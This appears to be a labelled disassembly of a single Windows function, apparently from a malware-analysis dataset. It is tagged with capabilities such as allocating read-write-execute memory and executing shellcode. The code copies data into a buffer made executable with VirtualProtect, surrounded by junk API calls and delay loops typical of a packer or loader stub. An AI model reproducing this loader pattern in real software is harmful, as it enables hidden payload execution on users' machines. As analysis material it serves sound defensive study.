Function at 0x4037b4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4209f7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1cd4
call fcn.0040bbb0
push ebx
push esi
xor esi, esi
cmp dword [0x4d3588], 0x5b1
push edi
jne 0x40386f
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402db8
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea eax, [esp + 0x24]
call fcn.00403b27
push esi
mov dword [esp + 0x1cf0], esi
call fcn.004046bc
pop ecx
call fcn.0040465a
push 0x402e00
lea ecx, [esp + 0x14]
call fcn.00403390
lea ecx, [esp + 0x10]
call fcn.004033ac
lea ecx, [esp + 0x10]
call fcn.004033f2
lea ecx, [esp + 0x10]
call fcn.0040340b
push esi
push esi
call fcn.004049d9
push esi
call fcn.004049aa
add esp, 0xc
push esi
call fcn.00404df2
add dword [0x4d3588], 0x1134b
push dword [0x4d3588]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x20]
push ecx
push 0x40
push dword [0x4d3588]
mov dword [0x4d24dc], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x4038c7
inc edi
cmp edi, 0x4f6a4
jl 0x4038a7
xor edi, edi
cmp dword [0x4d3588], esi
jbe 0x403925
cmp dword [0x4d3588], 0xa8
mov eax, dword [0x4d358c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x4d24dc]
mov byte [ecx + edi], al
jne 0x40391c
push 0x402e10
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x402e40
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
inc edi
cmp edi, dword [0x4d3588]
jb 0x4038d1
xor edi, edi
mov eax, dword [0x4d3588]
add eax, edi
cmp eax, 0xe
jne 0x40398b
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402ea0
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
lea eax, [esp + 0x8e4]
push eax
push esi
push 0x402ea8
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x402f10
push 0x402f28
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
lea eax, [esp + 0x14e8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
inc edi
cmp edi, 0x39621
jl 0x403927
call fcn.0040369d
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x4039a8
call fcn.0040379a
inc edi
cmp edi, 0x6753f
jl 0x40399b
push 0x7b
pop edi
cmp dword [0x4d3588], 0x86
jne 0x403a19
push esi
push esi
push esi
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push 0x402f48
push 0x402f98
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push 0x403010
push 0x402e1c
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push esi
lea eax, [esp + 0x10e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
lea eax, [esp + 0x4e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
dec edi
jne 0x4039b4
push 0x403048
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [esp + 0x1ce4]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret